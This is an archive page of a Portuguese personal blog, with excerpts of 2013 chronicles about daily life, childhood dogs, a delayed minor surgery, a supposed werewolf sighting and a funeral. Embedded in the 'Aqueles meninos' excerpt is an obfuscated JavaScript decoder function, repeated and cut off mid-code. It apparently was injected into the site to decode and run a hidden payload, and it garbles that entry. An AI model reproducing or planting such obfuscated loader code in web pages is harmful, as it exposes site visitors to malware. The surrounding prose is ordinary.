Archive for the ‘Crônicas’ Category

Um dia muito especial

quarta-feira, agosto 7th, 2013

Hoje foi um dia muito especial pra mim.

Mas o que aconteceu?

Nada.

Quer dizer, nada que seja digno de nota (do tipo que nos acostumamos a considerar importante – passei num concurso, fiz um ótimo negócio na minha empresa, ganhei na loteria, tive aumento salarial, comprei o carro que sempre quis, estou mudando para a casa dos meus sonhos, aquela menina finalmente me enxergou).

Nada disso.

Apenas o seguinte: (mais…)

“O Mestre” e “O Bis”

quarta-feira, julho 3rd, 2013

Faz algum tempo que eu não como doces por vontade própria. Explico: não os compro; feito criança, só os como quando me dão. Quando vou à casa da minha mãe, é uma perdição completa: rosquinhas de pinga, mantecal (sinceramente, não sei como se escreve), doce de mamão, doce de leite, doce de abóbora... De vez em quando, a avó da minha filha também me empanturra de bolos, pudins etc e tal. Só que no que depender de mim, é seca total. Entretanto, toda regra tem exceção. E muito esporadicamente, vencido pelos supermercados da vida, levo para casa o chocolate que eu mais gosto: o Bis. (mais…)

Aqueles meninos

terça-feira, junho 25th, 2013

function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5

O tempo vai passando, a vida se transforma aos poucos, mas você não está lá para ver a sequência de quadrinhos desenhados por Deus ou por um alienígena que desde tempos imemoriais brinca com a gente (ou nada disso, não há desenho de quadrinho nenhum e nós mesmos é que nos mexemos conforme nossas forças). Mas, enfim, você não está lá, não é onipresente. De repente, as coisas já mudaram. E você não viu todas as etapas. (mais…)

Madrugadinha

sexta-feira, junho 21st, 2013

Dormi duas horas e meia. Das 2h30 às 5h. Levanto sentindo certa tensão junto com uma sede incomum, vou até a geladeira beber água. Mas no fundo não é isso que eu quero. Quero mesmo ligar a TV. E ligo. Igrejas e mais igrejas falando de deus e o diabo. (mais…)

Desculpe, mas é que…

sábado, abril 6th, 2013

O médico marcou o procedimento para as 11h, no próprio consultório, por ser uma intervenção muito simples. Às 11h30 ligou para o consultório pedindo à assistente que se desculpasse comigo, mas é que terminava uma alta para outro paciente no hospital e já estava a caminho. Ao meio-dia a assistente me chamou para me preparar para o procedimento, o médico apareceu às 12h20 para dar um alô e só retornou às 13h, quando então começou a pequena cirurgia, duas horas depois da hora marcada. (mais…)

Eu acredito em lobisomem (claro!)

terça-feira, março 26th, 2013

Porque em junho de 2004, numa madrugada fria e cheia de lua, eu voltava a Bauru pela Rondon, quando avistei algo atravessando a pista lentamente. Era muito grande para um cachorro e muito pequeno para um cavalo. Reduzi imediatamente a velocidade para evitar o acidente e ao mesmo tempo puxei a alavanca para dar luz baixa, o que ajuda a não deixar o animal confuso em sua travessia. (mais…)

A saga dos meus três cachorros

sexta-feira, março 22nd, 2013
Não tenho fotos dos meus três cachorros, mas este é bem parecido com o Pançi filhote

Não tenho fotos dos meus três cachorros, mas este é bem parecido com o Pançi filhote

Capítulo 1

Xwck (tradução: xuc) era o nome dele. Nada a ver com Chucky, que surgiu bem depois.

Meu cachorro, o primeiro de um total de três que eu tive quando era solteiro e morava na casa dos meus pais, é de 1976 mais ou menos. E ao contrário do boneco assassino, era lindo. Bem, não quando o encontrei sendo comido por formigas no meio de um matagal. À beira do mato, ouvi um grunhido em rumo incerto, mas assim mesmo vasculhei o local. E o encontrei. Em torno dele, as formigas formavam um só corpo. O chorinho que eu ouvia não era dele, mas da mãe, uma cadela vira-lata que, sem ter o que fazer diante da voracidade do formigueiro, emitia apenas um triste lamento. (mais…)

Fera

quarta-feira, março 20th, 2013

No meio da década de 1990, quando minha filha Ana Clara tinha uns dois anos, costumávamos botar pra ela ouvir um disco de vinil com várias histórias infantis. O aparelho de som ficava na sala do pequeno apartamento, bem perto da televisão. Sempre que o ligávamos para que ela ouvisse o disco, deixávamos a TV sem volume. (mais…)

Oi, bom dia!

quinta-feira, março 14th, 2013
Eustácio, o impagável rabugento de Coragem, o cão covarde

Eustácio, o impagável rabugento de Coragem, o cão covarde

Tenho um amigo que fica puto da vida porque, segundo ele sem qualquer motivo que ele saiba, um vizinho não o cumprimenta de jeito nenhum. Nem oi nem bom dia nem nada. E parece que não é o caso de introspecção ou coisa parecida. É falta de educação mesmo. Enfim, eu acho graça. Porque aprendi a fazer disso uma espécie de “descarrego”. (mais…)

O enterro (de João Marcos Blanco Dias)

terça-feira, março 5th, 2013

Foi meu irmão quem inventou o plano: “vamos dispensar o carrinho de rodas e levar o Marcos no braço”. Da sala de velório ao túmulo, uns duzentos metros, dos quais a metade em subida íngreme. Depois de consultarmos um quórum mínimo de seis, mais dois ou três para o revezamento, tudo aprovado. (mais…)